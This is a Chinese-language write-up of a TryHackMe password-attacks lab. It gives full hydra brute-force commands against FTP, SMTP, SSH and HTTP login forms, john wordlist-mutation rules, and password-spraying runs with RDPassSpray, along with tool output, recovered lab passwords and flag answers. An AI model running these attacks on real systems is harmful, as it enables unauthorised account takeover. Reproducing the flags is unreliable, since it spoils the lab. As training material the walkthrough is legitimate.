在本节中,我们将使用hydra暴力攻击常见的网络服务,如FTP服务、SMTP服务、SSH服务和web服务的登录页面等。在实际使用hydra时,针对每个服务都有对应的hydra命令选项,并且我们还要满足hydra所规定的命令语法,我们可以使用hydra -h帮助选项以获取此工具的更多信息和功能。

FTP

在下面的示例场景中,我们将对FTP服务器执行暴力攻击,通过查看hydra帮助选项,我们可以知道攻击FTP服务器的hydra语法如下:

#hydra for FTP
user@machine$ hydra -l ftp -P passlist.txt ftp://10.10.x.x

分析以上命令示例:

  • -l ftp:用于指定一个用户名(相关的语法为-l <username>);相比之下,-L可用于指定一个用户名列表。
  • -P: 用于指定密码单词列表文件的完整路径;相比之下,-p可用于指定单个密码单词。
  • ftp://10.10.x.x:指定目标协议和目标IP地址,或者目标的全限定域名(FQDN-fully qualified domain name)。

tips:全限定域名指同时带有主机名和域名的名称,主机名和域名之间用.连接。

请记住,你可以先尝试使用一些默认凭据进行验证,然后再决定是否需要进行暴力攻击。

SMTP

与FTP服务器类似,我们也可以使用hydra对SMTP服务器进行暴力攻击。

针对SMTP服务的hydra命令语法类似于前面的FTP示例,唯一的区别是目标协议的名称不同;如果你想尝试使用其他在线密码攻击工具,你可能还需要指定SMTP服务的标准端口号,即25(请参考对应工具的帮助选项)。

#hydra for SMTP
user@machine$ hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v 
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-13 03:41:08
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking smtp://10.10.x.x:25/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[VERBOSE] using SMTP LOGIN AUTH mechanism
[25][smtp] host: 10.10.x.x   login: email@company.xyz password: xxxxxxxx
[STATUS] attack finished for 10.10.x.x (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found

SSH

Hydra支持攻击多种协议,包括SSH协议。我们可以使用前面提到的命令语法来执行针对目标的SSH服务的暴力攻击。请注意,密码攻击依赖于拥有一个良好的单词列表,强大的单词列表文件可以增加我们找到有效用户名和密码的机会。

user@machine$ hydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-10-13 03:48:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:1/p:8), ~1 try per task
[DATA] attacking ssh://10.10.x.x:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://user@10.10.x.x:22
[INFO] Successful, password authentication is supported by ssh://10.10.x.x:22
[22][ssh] host: 10.10.x.x   login: victim   password: xxxxxxxx
[STATUS] attack finished for 10.10.x.x (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found

HTTP登录页面

在这个场景中,我们将暴力攻击HTTP登录页面。

在攻击HTTP登录页面时,我们需要了解我们正在强制执行的内容。值得注意的是我们要指定当前使用的HTTP请求的类型,是GET请求还是POST请求;然后,我们还需要检查hydra http-get-form -U命令的内容,其中hydra的http-get-form选项的语法将如下所示:

<url>:<form parameters>:<condition string>[:<optional>[:<optional>]

正如我们之前所提到的,我们需要分析我们将发送的HTTP请求,这可以通过使用浏览器开发工具或者使用web流量代理工具(如Burp Suite)来完成。

#以下仅为示例
user@machine$ hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-10-13 08:06:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 500 login tries (l:1/p:500), ~32 tries per task
[DATA] attacking http-get-form://10.10.x.x:80//login-get/index.php:username=^USER^&password=^PASS^:S=logout.php
[80][http-get-form] host: 10.10.x.x   login: admin password: xxxxxx
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra)
finished at 2021-10-13 08:06:45

接下来,我们将仔细分析以上命令示例。

-l admin:用于指定一个用户名(相关的语法为-l <username>);相比之下,-L可用于指定一个用户名列表。

-P:用于指定密码单词列表文件的完整路径;相比之下,-p可用于指定单个密码单词。

10.10.x.x:指定目标IP地址,或者目标的全限定域名(FQDN-fully qualified domain name)。

http-get-form:指定HTTP请求的类型,可以是http-get-form或者http-post-form

接下来,我们将使用以下命令来指定URL、路径和登录条件(用符号:来拆分):

login-get/index.php:目标web服务器的登录页面路径。

username=^USER^&password=^PASS^:用于暴力攻击的参数,我们将注入^USER^来暴力匹配用户名,注入^PASS^来使用指定字典中的每个密码单词。

下面的部分对于通过使用F=来指定登录“失败”条件以消除误报非常重要(相比之下,S=将用于指定登录成功条件)。

通过分析目标网页或枚举目标信息,你将获得关于目标web页面的登录条件的更多信息,而如何设置与登录条件相对应的值,则主要取决于你从目标服务器接收到的登录尝试失败和登录尝试成功的响应消息。

例如,如果我们在登录失败后,在目标网页上收到“Invalid password”的消息,就可设置:F=Invalid Password ;或者,在枚举信息时,我们发现目标web服务器存在logout.php页面,如果此时能成功登录到登录页面,我们就可以猜测在目标页面的某个地方会存在logout.php,因此,我们可以告诉hydra基于每个请求查找存在于HTML中的logout.php文本,我们可以设置S=logout.php作为识别有效凭据的登录成功条件。

-f:表示在找到有效的用户名和密码后停止暴力攻击。

以下是一些其他在线密码攻击工具:

  • Medusa
  • Ncrack

答题

针对目标ip地址,尝试使用FTP匿名访问:

ftp 10.10.65.73
anonymous #登录的Name为anonymous,密码置空。
ls
cd files
ls
get flag.txt
exit      #下载完flag.txt之后,退出ftp访问。
cat flag.txt

image

flag为:THM{d0abe799f25738ad739c20301aed357b} 。

在john配置文件中添加自定义规则[symbol][dictionary word][0-9][0-9],其中[symbol]=[!@],要添加的具体内容如下:

sudo nano /etc/john/john.conf
#密码规则的所在的行数是696行~ 1240行。
#在配置文件内容的696行以后寻找添加位置即可
[List.Rules:THM-Password-Online]      #自定义名称
Az"[0-9][0-9]" ^[!@]

image

基于上文所生成的字典文件(第七小节)clinic.lst,应用刚才添加的john规则进行扩展:

john --wordlist=clinic.lst --rules=THM-Password-Online --stdout | > SMTPSPASS.txt

image

使用扩展之后的字典,攻击目标机器的SMTPS服务(已知电子邮件地址-pittman@clinic.thmredteam.com;SMTPS服务端口号-465):

#SMTPS是指简单邮件传输协议(基于SMTP添加了SSL安全套接层)
#目标email地址为:pittman@clinic.thmredteam.com;对应了我们在上文中使用cewl针对https://clinic.thmredteam.com/来爬取关键词并生成字典文件。

hydra -l pittman@clinic.thmredteam.com -P SMTPSPASS.txt smtps://10.10.65.73
#注意要指定smtps协议

image

密码为:!multidisciplinary00

针对HTTP登录页面http://10.10.65.73/login-get进行暴力攻击,已知有效用户名为phillips

hydra -l phillips -P clinic.lst 10.10.65.73 http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f

#正确条件为:S=logout.php (这是根据本小节的示例得知的)
#错误条件为:F=Login failed! (针对其中的“!”符号进行url编码,该条件可通过失败的登录提示得知)——>Login failed%21 ,但是使用错误条件得到了多个无效密码!
#F=Login%20failed%21

image

phillips用户的有效密码为:Paracetamol

http://10.10.65.73/login-get页面使用有效凭据进行登录:

image

flag为:THM{33c5d4954da881814420f3ba39772644} 。

我们先使用john的Single-Extra规则扩展clinic.lst字典文件,再针对HTTP登录页面http://10.10.65.73/login-post/进行暴力攻击,已知有效用户名为burgess

#基于clinic.lst进行扩展以生成新的字典文件
john --wordlist=clinic.lst --rules=Single-Extra --stdout | > POSTpass.txt

hydra -l burgess -P POSTpass.txt 10.10.65.73 http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php" -f

image

burgess用户的有效密码为:OxytocinnicotyxO

http://10.10.65.73/login-post页面使用有效凭据进行登录:

image

flag为:THM{f8e3750cc0ccbb863f2706a3b2933227} 。

image

密码喷洒攻击

此小节将学习关于密码喷洒攻击的基础知识,并将介绍一些针对常见的在线服务执行各种密码攻击时所需的工具。

密码喷洒是一种用于识别有效凭证的有效技术,密码喷洒也是发现弱密码的常用密码攻击方法之一。这种技术可以用来针对各种在线服务和身份验证系统,如SSH、SMB、RDP、SMTP、Outlook Web Application(OWA)等。

暴力攻击以特定用户名为目标,会尝试使用许多弱且可预测的密码;而密码喷洒攻击则会使用一个常见的弱密码来攻击多个用户名,这可以帮助规避由目标系统所设置的账户锁定策略。下图简单解释了密码喷洒攻击的概念,攻击者将使用一个通用的密码来攻击多个用户:

image

通用密码和弱密码通常会遵循一定的模式以及格式,下面是一些常用的密码及其整体格式:

  • 在当前的季节之后跟着当前年份(即SeasonYear),例如Fall2020Spring2021等。
  • 在当前的月份之后跟着当前年份(即MonthYear),例如November2020March2021等。
  • 使用公司名称加上随机数字(即CompanyNameNumbers),例如TryHackMe01TryHackMe02等。

如果在目标组织内会强制执行密码复杂性策略,那么我们就需要创建包含符号的密码来满足需求,如October2021!Spring2021!October2021@等。一般而言,为了成功地进行密码喷洒攻击,我们需要枚举目标信息并创建有效用户名列表(或者有效电子邮件地址列表)。

接下来,我们将基于不同的场景针对不同的服务应用密码喷洒技术,包括:

  • SSH
  • RDP
  • Outlook web access(OWA)门户
  • SMB

SSH

假设我们已经枚举了目标系统并创建了一个有效的用户名列表。

user@THM:~$ cat usernames-list.txt
admin
victim
dummy
adm
sammy

我们现在将使用hydra工具,针对设置了Spring2021为密码的SSH服务执行密码喷洒攻击。

#以下仅为示例
user@THM:~$ hydra -L usernames-list.txt -p Spring2021 ssh://10.10.x.x
[INFO] Successful, password authentication is supported by ssh://10.10.x.x:22
[22][ssh] host: 10.1.1.10 login: victim password: Spring2021
[STATUS] attack finished for 10.10.x.x (waiting for children to complete tests)

1 of 1 target successfully completed, 1 valid password found

注意:-L(不要与-l混淆)将指定加载有效用户名列表,而-p(不要与-P混淆)将指定使用Spring2021作为密码。

RDP

假设我们在目标机的端口3026上发现了一个公开的RDP服务,我们就可以尝试使用工具(例如RDPassSpray)针对此RDP服务进行密码喷洒攻击。

首先,我们查看RDPassSpray工具在其GitHub存储库中的安装说明,然后在我们的攻击机上安装该工具。

作为这个工具的新用户,我们将从执行python3 RDPassSpray.py -h命令开始,探索如何使用此工具:

user@THM:~$ python3 RDPassSpray.py -h
usage: RDPassSpray.py [-h] (-U USERLIST | -u USER  -p PASSWORD | -P PASSWORDLIST) (-T TARGETLIST | -t TARGET) [-s SLEEP | -r minimum_sleep maximum_sleep] [-d DOMAIN] [-n NAMES] [-o OUTPUT] [-V]

optional arguments:
  -h, --help            show this help message and exit
  -U USERLIST, --userlist USERLIST
                        Users list to use, one user per line
  -u USER, --user USER  Single user to use
  -p PASSWORD, --password PASSWORD
                        Single password to use
  -P PASSWORDLIST, --passwordlist PASSWORDLIST
                        Password list to use, one password per line
  -T TARGETLIST, --targetlist TARGETLIST
                        Targets list to use, one target per line
  -t TARGET, --target TARGET
                        Target machine to authenticate against
  -s SLEEP, --sleep SLEEP
                        Throttle the attempts to one attempt every # seconds, can be randomized by passing the value 'random' - default is 0
  -r minimum_sleep maximum_sleep, --random minimum_sleep maximum_sleep
                        Randomize the time between each authentication attempt. Please provide minimun and maximum values in seconds
  -d DOMAIN, --domain DOMAIN
                        Domain name to use
  -n NAMES, --names NAMES
                        Hostnames list to use as the source hostnames, one per line
  -o OUTPUT, --output OUTPUT
                        Output each attempt result to a csv file
  -V, --verbose         Turn on verbosity to show failed attempts

现在,让我们尝试使用-u选项将victim指定为用户名,使用-p选项设置要使用的密码为Spring2021!,最后使用-t选项来选择要攻击的单个主机。

tips:以上参数值仅作为示例使用。

#以下仅为示例
user@THM:~$ python3 RDPassSpray.py -u victim -p Spring2021! -t 10.10.x.x:3026
[13-02-2021 16:47] - Total number of users to test: 1
[13-02-2021 16:47] - Total number of password to test: 1
[13-02-2021 16:47] - Total number of attempts: 1
[13-02-2021 16:47] - [*] Started running at: 13-02-2021 16:47:40

[13-02-2021 16:47] - [+] Cred successful (maybe even Admin access!): victim :: Spring2021!

上面的输出显示我们成功地找到了有效的登录凭证:victim:Spring2021!。请注意,如果我们在Active Directory环境中,我们还可以使用-d选项来指定域名。

user@THM:~$ python3 RDPassSpray.py -U usernames-list.txt -p Spring2021! -d THM-labs -T RDP_servers.txt

#-U用于指定用户名列表
#-T用于指定目标主机列表

Outlook web access (OWA)门户

可用于针对OWA门户进行密码喷洒攻击的工具(部分):

SMB

可用于针对SMB服务进行密码喷洒攻击的工具(部分):

  • Metasploit (auxiliary/scanner/smb/smb_login)

答题

已知下面的用户名列表:

user@THM:~$ cat usernames-list.txt
admin
phillips
burgess
pittman
guess

image

提示信息:密码策略是"季节+年份+特殊字符",对于季节部分,考虑使用Fall而不是Autumn,对于年份,请尝试 (2020-2021) 范围内的年份。

根据提示信息,我们先创建一个包含季节的初始字典文件:

#pass.txt
Spring
Summer
Fall
Winter

image

然后,我们根据提示信息设置一个john自定义规则,再使用这个自定义规则扩展初始字典文件(pass.txt):

#根据提示信息设置john自定义规则
sudo nano /etc/john/john.conf
#在配置文件内容的696行以后寻找添加位置
[List.Rules:THM-PassSpray]      #自定义名称
Az"[2][0][2][0-1]" $[!@]

#使用自定义规则扩展初始字典文件(pass.txt)
john --wordlist=pass.txt --rules=THM-PassSpray --stdout | > AddPASS.txt

image

image

现在,我们使用已知的用户名列表和自定义且已扩展的字典文件,针对SSH://10.10.65.73进行密码喷洒攻击:

hydra -L usernames-list.txt -P AddPASS.txt ssh://10.10.65.73

image

成功获得有效登录凭据之后,登录到目标机器的SSH服务,然后找到并读取/etc/flag文件内容:

ssh burgess@10.10.65.73
#password: Fall2021@

image

flag内容为:THM{a97a26e86d09388bbea148f4b870277d} 。

image